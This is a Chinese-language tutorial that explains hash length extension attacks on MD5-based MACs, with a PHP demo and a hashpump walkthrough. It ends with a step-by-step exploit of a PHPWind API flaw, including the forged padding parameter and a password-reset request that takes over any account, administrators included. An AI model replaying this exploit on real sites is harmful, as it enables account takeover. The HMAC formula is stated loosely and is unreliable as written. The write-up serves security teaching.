Web中的密码学之哈希长度扩展攻击

0x01 攻击场景

哈希长度扩展攻击(Hash Length Extension Attacks)用于攻击MAC计算方式为 $MAC = H($secret, $message) 的情况. 其中 H() 为hash函数, $secret为保存在服务器上的秘密信息. 当这里hash函数为 MD4 MD5 SHA-0 SHA-1 SHA-256 SHA-512 等基于MD结构的算法时. 我们就可以在知道 $secret 长度和一组 $message $MAC 的情况下构造出 $message + padding + $yourmessage 的hash从而绕过服务器上的某些验证.

0x02 Message Authentication Code(MAC)

在密码学中, 消息认证码(MAC)用于保证消息的完整性(integrity)和真实性(authenticity).

(图片来自维基百科)

上图展示了通过MAC认证消息的过程, 可以看得出MAC是通过MAC算法, 密钥和消息三者生成的, 但通常情况下常用MD5, SHA等hash算法来作MAC算法, 也就是文章开头的$H(). Web中常见的情况是服务器充当上图中的两者, 服务器对认证过的请求计算一次MAC传递给用户, 所以在服务器端只要验证用户提交的MAC与计算出的请求的MAC是否相等, 就能判别用户的请求是否合法.

0x03 Merkle–Damgård(MD)结构

由于现在很多Web服务中使用基于MD结构的hash函数作为MAC算法, 所以这就不可避免地引入了哈希长度扩展攻击的风险.

在进行哈希长度拓展攻击之前, 我们先要了解一下什么是MD结构.

(图片来自维基百科)

如上图, MD算法简单来说有以下几步:

1. 首先把要加密的消息按照固定的长度分成若干个块, 对最后一个块进行长度补足
2. 将第一个消息块和一个初始化向量IV(与具体的算法与实现有关)做一个复杂的运算f得出一个结果
3. 将上面的结果作为下一次运算f的输入向量, 并与下一个消息块进行复杂运算f, 以此类推
4. 将最后一个消息块运算后的结果进行一些处理(常是压缩函数)得出最后的结果.

明白的MD算法的流程, 我们就会想到这样一个问题: 如果我们可以获得一段消息最终的hash, 那我们就可以在原消息后面附加任意的数据并计算出同样合法的hash. 因为每一次运算只依赖上一次的结果, 与之前的运算没有关联.

0x04 构造扩展消息

下面就让我们以下面这段代码为例, 来构造恶意的扩展消息绕过服务器端的逻辑

1
2
3
4
5
6
7
8
9
10
11
<?php
$secret = 'ABCDEFG';
if(!(isset($_GET['mac']) && isset($_GET['request']))){
die("error");
}
$mac = $_GET['mac'];
$message = $_GET['request'];
if($mac === md5($secret . $message)){
die("success");
}
?>

在构造消息之前, 我们还要了解一下MD5, MD5算法简单来说一共有三步:

1. 补位
2. 补长度
3. 计算消息摘要

首先MD5要求消息长度必须符合满足 N ≡ 448 (mod 512), 即N % 512 = 448. 不足448的需要用1后面加0来补足448比特, 但是需要注意的是MD5补位的范围为 1~512, 所以补位操作是必须的, 即使原始消息长度正好满足条件, 也要补位512比特. 补位完成后, 还要在补位过消息后面附加64比特的长度信息. 长度紧随其后, 之后的比特用0填充.

下面来演示一下如何构造MD5的扩展消息

假设我们有消息I am Bob, 那么实际在服务器端被MD5计算的数据是:

图中红色的部分为服务器端合成的消息(即$secret + $message), 绿色部分为用1加上0的填充部分(8个bit一个字节, 所以10000000 0000……..在16进制编辑器中为80 00 00 ……..), 蓝色部分为补位消息后附加的长度信息, 补位前消息为15个字节, 120比特, 转换成16进制为0x78.

我们计算一下ABCDEFGI am Bob的MD5

20170527149588029850437.png

根据前面所说的MD算法的特点, 每个数据块的计算只依赖与上一个数据块计算的结果, 那么现在我们已经知道了第一个数据块, 计算的结果, 那么我们直接再该数据块后附加数据就可以继续该计算, 比如我们在第一个消息块后面附加消息I am Alice, 如下图所示

20170527149582098731533.png

20170526149580977387060.png

20170527149582084539914.png

2017052714958763895206.png

(图中箭头上的值并不是实际算法中直接代入下一轮计算中的值, 我们无需关心计算细节, 这里只是想表达每一轮计算产生的hash值是下一轮计算的输入; 最左边的ABCD为MD5算法固定的初始化向量)

我们要注意的很关键的一点是这里的附加消息是附加在第一个消息块后面, 也就是要保证我们附加的消息在下一个消息块开头(这就是为什么我们必须知道服务器端$secret长度的原因), 这样我们才能利用上一个消息块计算的结果去继续计算.

现在我们根据已有的消息I am Bob和其摘要2229cbfa1981495d6fb63a854461b923自己构造了一段消息

20170527149582070129760.png

并能在不知道$secret的情况下计算出上面这段消息的hash.

好吧该怎么计算呢, 其实我们只需要把MD5固定的初始化向量A=0x67452301;B=0xefcdab89;C=0x98badcfe;D=0x10325476换成上一次计算的hash2229cbfa1981495d6fb63a854461b923, 然后计算我们附加数据补位完成的数据块就好了.

我们这里不关心具体算法的细节, 下面介绍一个工具来帮我们完成实际的计算

0x05 利器Hashpump

hashpump是一个C++编写的用于哈希长度拓展攻击的工具, 支持CRC32, MD5, SHA1等等多种算法, 并且使用起来也非常方便.(python也有hashpump的库)

2017052714958780923117.png

一共4个参数, 分别是-s 已知消息在服务器端生成的hash, -d已知的消息, -a想要附加的数据, -k服务器端$secret的长度. 我们用hashpump来计算一下我们上面构造的扩展消息的hash

20170527149587893956727.png

输出有两行, 第一行是扩展消息的hash, 第二行是hashpump帮助我们构造的扩展消息.

现在我们在本地计算一下$secret 加上我们构造的扩展消息的MD5值

20170527149588067676540.png

与hashpump计算出来的完全一样! 现在我们再那这对扩展消息和hash去验证前面给的那段php代码

20170530149608754413815.png

成功绕过了验证.

0x06 PHPWind哈希长度扩展漏洞

也许有的同学要问了, 前面的攻击虽然能达成, 但是我们能构造的消息必须是 message + padding + attention 这种形式, 未免限制太大了. 然而, 就是这种形式的构造数据再某些特定的场合下就是能利用. 下面就来举一个PHPWind的例子.

我们新注册一个test用户, 问题出现在用户上传头像的地方

20170530149607868774050.png

我们打开网页的源代码看到上传头像的源代码里有这么一段

20170530149607984047530.png

网页生成了一段URL, 而这段URL里面有用于认证请求合法性的windidkey参数 7967c3eef8e0544fc7e91e686589636b

我们先找到生成这段URL的PHP代码

src/windid/service/user/srv/WindidUserService.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function showFlash($uid, $appId, $appKey, $getHtml = 1) {
$time = Pw::getTime();
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));
$key2 = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'normal'), array());
$postUrl = "postAction=ra_postAction&redirectURL=/&requestURL=" . urlencode(Wekit::app('windid')->url->base . "/index.php?m=api&c=avatar&a=doAvatar&uid=" . $uid . '&windidkey=' . $key . '&time=' . $time . '&clientid=' . $appId . '&type=flash') . '&avatar=' . urlencode($this->getAvatar($uid, 'big') . '?r=' . rand(1,99999));
return $getHtml ? '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="700" height="430" id="rainbow" align="middle">
<param name="movie" value="' . Wekit::app('windid')->url->res . 'swf/avatar/avatar.swf?' . rand(0,9999) . '" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="play" value="true" />
<param name="loop" value="true" />
<param name="wmode" value="opaque" />
<param name="scale" value="showall" />
<param name="menu" value="true" />
<param name="devicefont" value="false" />
<param name="salign" value="" />
<param name="allowScriptAccess" value="never" />
<param name="FlashVars" value="' . $postUrl . '"/>
<embed src="' . Wekit::app('windid')->url->res . 'swf/avatar/avatar.swf?' . rand(0,9999) . '" quality="high" bgcolor="#ffffff" width="700" height="430" name="mycamera" align="middle" allowScriptAccess="never" allowFullScreen="false" scale="exactfit" wmode="transparent" FlashVars="' . $postUrl . '" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>'
: array(
'width' => '500',
'height' => '405',
'id' => 'uploadAvatar',
'name' => 'uploadAvatar',
'src' => Wekit::app('windid')->url->res . 'swf/avatar/avatar.swf',
'wmode' => 'transparent',
'postUrl' => Wekit::app('windid')->url->base . "/index.php?m=api&c=avatar&a=doAvatar&uid=" . $uid . '&windidkey=' . $key2 . '&time=' . $time . '&clientid=' . $appId . '&type=normal&jcallback=avatarNormal',
'token' => $key2,
);
}

可以看到URL里面的key是WindidUtility::appKey这个方法生成的, 我们跟踪到这个方法

src/windid/service/base/WindidUtility.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.'||'.$secretkey).$time.$str);
}

看到这里就很明显了, 这个方法生成windidkey的方式就是 md5(md5($apiId.'||'.$secretkey).$time.$str), $time 是当前的时间, $str 是将 $get$post 中的值排序后拼接起来, md5($apiId.'||'.$secretkey)的长度是固定的32位, 而 $time$str 又是我们可控的, 我们完全可以按照前面的方法构造新的请求并绕过windidkey的验证! 下面我们看一下具体验证请求的地方

src/applications/windidserver/api/controller/OpenBaseController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$charset = 'utf-8';
$_windidkey = $this->getInput('windidkey', 'get');
$_time = (int)$this->getInput('time', 'get');
$_clientid = (int)$this->getInput('clientid', 'get');
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}

绕过了这个函数的验证就可以访问PHPWind中的API, 函数的逻辑很简单, 必须有 clientidtime 这两个参数, 验证提交的windidkey与WindidUtility::appKey中计算的结果是否一致, 之后如果对请求生成的windidkey没有超时就返回成功.

我们只要能使请求 POST a=editUser&c=user&m=api&uid=2&password=aaabbbcc 通过windidkey的校验就可以将uid为2的用户的密码更改为aaabbbccc

我们回过头来看生成上传头像处URL的代码, 传入appKey方法中的 $get, $post 参数实际上是两个数组

array('uid'=>$uid, 'type'=>'flash')array('uid'=>'undefined') 也就是说上图中的windidkey实际上是 md5($apiId.'||'.$secretkey) + "1496078639" + "typeflashuid2uidundefined" 的MD5值.

验证API请求的beforeAction函数中, 传入appKey方法中的 $get, $post 参数是实际请求URL中的参数, 需要注意的一点是appKey方法还会对去掉存在于数组 array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token') 中的键. 也就是说我们想构造的请求中只有uid和password两个参数参与. 所以我们需要附加的消息就是passwordaaabbbcccuid2

好啦, 根据我们前面的方法直接上hashpump

20170530149608322678645.png

这里有个问题, 就是我们怎样让typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00

参与到windidkey的计算中来, 因为我们用计算出的hash是整个消息

1496078639typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00passwordaaabbbcccuid2

的hash. 这里有个技巧, 同时也是我认为这个洞很关键的一点, 就是我们可以传一个参数

typeflashuid2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00

虽然这个参数是没有功能上的作用的, 但是它还是要被后端的PHP收到, 这样经过appKey方法排序拼接过后, 被计算的消息就变成了

1496078639typeflashuid2uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%02%00%00%00%00%00%00passwordaaabbbcccuid2

再附上hashpump计算出来的hash我们成功构造请求, 绕过了验证

20170530149608409049699.png

这样我们就已经将uid为2的用户的密码修改为aaabbbccc了, 通过这种方式我们可以修改数据库中任意用户的密码, 包括管理员的. 其实这个洞不单单是能够修改密码, 通过构造不同的参数可以访问PHPWind的API中不同的逻辑. 不过那不是本文的重点了, 大家自行探究.

这个洞和原来Flicker那个洞非常类似, 都是通过计算拼接后参数的MAC来验证API请求的合法性. 然而利用哈希长度扩展攻击和URL参数的这个特性就可以伪造合法的请求.

0x07 修补方案和反思

采用MD算法的哈希函数都无法避免扩展攻击. 对于这种问题, 最好的一个解决方案就是使用将MAC算法改为HMAC算法, 即 H($secret + H($secret + $message)) 这样子的话, 一来 hash($secret + $message) 内容是不可控的, 二来其长度也是固定的, 自然也没办法扩展了. 另外如果把 $secret 放在后面 H($message + $secret), 这样我们也是没有办法做扩展攻击的.

其实想一想上面PHPWind的例子, 我们已知的消息是t开头的, 如果说我们构造的请求中在GET里有一个a开头的参数(比如app_id)那经过上面那样排序以后不可避免地app_id会落在我们t开头的消息前面, 那么这种请求实际上我们也是无法做扩展攻击的.

0x08 参考

https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction

http://netifera.com/research/flickr_api_signature_forgery.pdf

http://blog.csdn.net/syh_486_007/article/details/51228628

http://netsecurity.51cto.com/art/201609/517646.htm

http://blog.nsfocus.net/phpwind-hash-length-attack-hashpump-getshell/

https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html